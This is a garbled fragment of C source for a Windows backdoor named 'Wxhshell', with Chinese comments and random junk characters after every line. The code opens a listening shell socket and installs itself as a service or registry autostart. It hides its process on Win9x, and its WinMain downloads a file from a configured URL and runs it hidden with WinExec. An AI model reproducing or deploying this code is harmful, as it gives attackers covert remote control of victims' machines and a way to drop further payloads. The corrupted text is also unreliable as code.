DWORD AffinityMask; _1L![-ac
DWORD BasePriority; }:*]aL<7_
ULONG UniqueProcessId; 3nnJ8zQ
ULONG InheritedFromUniqueProcessId; #3 pb(fbw
} PROCESS_BASIC_INFORMATION; B|AV$N*
\K]0JH
PROCNTQSIP NtQueryInformationProcess; FzXJ]H
eSmLf*\G
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; h_IDO%
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ""QP%
'xg
Lt(
HANDLE hProcess; %(G* ,
PROCESS_BASIC_INFORMATION pbi; 2q4<t:!
PO7Lf#9]
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); /mu*-,aeX
if(NULL == hInst ) return 0; =;&yd';k
c+nq] xOs'
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0aa&m[Mk
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); (%W&4a1di
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ^7KH _t8
X~,aNRy
if (!NtQueryInformationProcess) return 0; t; {F%9j{
'V=P*#|SR
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); z4]api(xZ
if(!hProcess) return 0; jc f #6
EeRX+BM,
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; c[1oww
/U)D5ot<
CloseHandle(hProcess); B[-v[K2
*zL}&RUKM
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); oVe|Mss6
if(hProcess==NULL) return 0; Zt.|oYH$
K_ ~"}
HMODULE hMod; ^ tg<K
char procName[255]; $.rhRKs
unsigned long cbNeeded; RnI&8
xJ)n4)
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); z(^]J`+\
)i^<r ;_z
CloseHandle(hProcess); vv+z'(l
QR0Q{}wbqU
if(strstr(procName,"services")) return 1; // 以服务启动 0C6-GKbZ
%k?U9pj^
return 0; // 注册表启动 ;Q*or2"!
} 2M'[,Xe
A/KJqiag
// 主模块 qC:raH_:
int StartWxhshell(LPSTR lpCmdLine) pF Rg?-
{ y)!5R 3b
SOCKET wsl; $ ,}E
BOOL val=TRUE; 5VAK:eB
int port=0; y6,/:qm
struct sockaddr_in door; 9!}8UALD
$!yW_HTx
if(wscfg.ws_autoins) Install(); 1@1U/ss1
^R
Fp8w(
port=atoi(lpCmdLine); 0dhaAq`k
usCt#eZK
if(port<=0) port=wscfg.ws_port; 4 k _vdz
.QJ5sgmh
WSADATA data; YLv'43PL
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 4f'V8|QM{
>X4u]>X
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 9"A`sGZ
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); A.F738Zp{Z
door.sin_family = AF_INET; 4$S;(
door.sin_addr.s_addr = inet_addr("127.0.0.1"); j4`0hnqI
door.sin_port = htons(port); 6ne7]RY
QPg8;O
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { A}N?/{y)G
closesocket(wsl); `_RTw5{
return 1; R:k5QD9/&p
} E5xzy/ZQ
FrYqaP
if(listen(wsl,2) == INVALID_SOCKET) { TQ*1L:X7M&
closesocket(wsl); '~&X wZ&
return 1; 2Mmz %S'd
} sy"^?th}b
Wxhshell(wsl); s1NKLt
WSACleanup(); fM63+9I)\
+hT:2TXn
return 0; dA0.v+Foz"
`~Zs0
} U`d5vEhT
v` 7RCg`
// 以NT服务方式启动 fb8g7H|
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) O8u j`G 9
{ a]/>ra5{
DWORD status = 0; %i-c0|,T4
DWORD specificError = 0xfffffff; e5B Qr$j
+W\f(/ q0
serviceStatus.dwServiceType = SERVICE_WIN32; i9A+gtd
serviceStatus.dwCurrentState = SERVICE_START_PENDING; -VTkG]{`Ir
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 7:3$Ey
serviceStatus.dwWin32ExitCode = 0; @I/]D6
~"
serviceStatus.dwServiceSpecificExitCode = 0; pxf$1
serviceStatus.dwCheckPoint = 0; ez^@NK
serviceStatus.dwWaitHint = 0; jvFTR'R)=
;@Z#b8aM}
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); (B_\TdQ
if (hServiceStatusHandle==0) return; f[~L?B;_L
;)e2@'Agl
status = GetLastError(); D-(w_$#
if (status!=NO_ERROR) 3G~@H>j
{ Z1Z1@2 T
serviceStatus.dwCurrentState = SERVICE_STOPPED; (%xwl
serviceStatus.dwCheckPoint = 0;
Mo @C9Y0
serviceStatus.dwWaitHint = 0; oifv+oY
serviceStatus.dwWin32ExitCode = status; B'EKM)dA
serviceStatus.dwServiceSpecificExitCode = specificError; 7`8Ik`lY
SetServiceStatus(hServiceStatusHandle, &serviceStatus); BT"42#7_
return; aKuSd3E@#
} <**y !2
~UjGSO)z}
serviceStatus.dwCurrentState = SERVICE_RUNNING; ``e$AS
serviceStatus.dwCheckPoint = 0; *nsAgGKKM^
serviceStatus.dwWaitHint = 0; ]=";IN:SU
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); GBFtr
} [7S} g
dW~*e2nq
// 处理NT服务事件,比如:启动、停止 i35=Y~P-
VOID WINAPI NTServiceHandler(DWORD fdwControl) o1Q7Th
{ fasgmi}
switch(fdwControl) Qx47l
{ 6 9NQ]{1
case SERVICE_CONTROL_STOP: yz*6W
z D
serviceStatus.dwWin32ExitCode = 0; '07P&g-
serviceStatus.dwCurrentState = SERVICE_STOPPED; 1u(.T0j7f
serviceStatus.dwCheckPoint = 0; a5!Fv54
serviceStatus.dwWaitHint = 0; $3uKw!z
{ :2-pjkhiwY
SetServiceStatus(hServiceStatusHandle, &serviceStatus); R&';Oro
} hQH nwr
return; xD[Gq%
case SERVICE_CONTROL_PAUSE: /iV}HV0
serviceStatus.dwCurrentState = SERVICE_PAUSED; <xC#@OZ
break; z;wELz1L{
case SERVICE_CONTROL_CONTINUE: o b|BXF
serviceStatus.dwCurrentState = SERVICE_RUNNING; Y +\%
break; yK2^Y]Ku?
case SERVICE_CONTROL_INTERROGATE: G0;XaL:
break; >Ll$p0W
}; @wC5 g 4E
SetServiceStatus(hServiceStatusHandle, &serviceStatus);
n>`as
} /'DsB%7g
YH_7=0EJ
// 标准应用程序主函数 {aC!~qR
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) &F5@6nJ`
{ Bk\Gj`"7
z,:a8LB#[
// 获取操作系统版本 ADk8{L{UU
OsIsNt=GetOsVer(); H0R&2#YD
GetModuleFileName(NULL,ExeFile,MAX_PATH); %T9 sz4V
DHT&,=
// 从命令行安装 TdGnf
if(strpbrk(lpCmdLine,"iI")) Install(); @b~fIW_3>
9Q-*@6G
// 下载执行文件 (N=5.7"T
if(wscfg.ws_downexe) { ?zJOh^
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) B8%{}[q
WinExec(wscfg.ws_filenam,SW_HIDE); GMZv RAui
} j"@93D~
gzD@cx?V
if(!OsIsNt) { 0Ir<y
// 如果时win9x,隐藏进程并且设置为注册表启动 Gkxj?)`
HideProc(); ;6{@^
StartWxhshell(lpCmdLine); N**g]T
0`
} [ $T(WGF
else 4T<Lgb
if(StartFromService()) )){9&5,0:
// 以服务方式启动 IMl!,(6;
StartServiceCtrlDispatcher(DispatchTable); t
6^l `6:p
else [j:[
// 普通方式启动 F0UVo
StartWxhshell(lpCmdLine); 13&0rLS
]UG*r%9
return 0; g}U3y'
}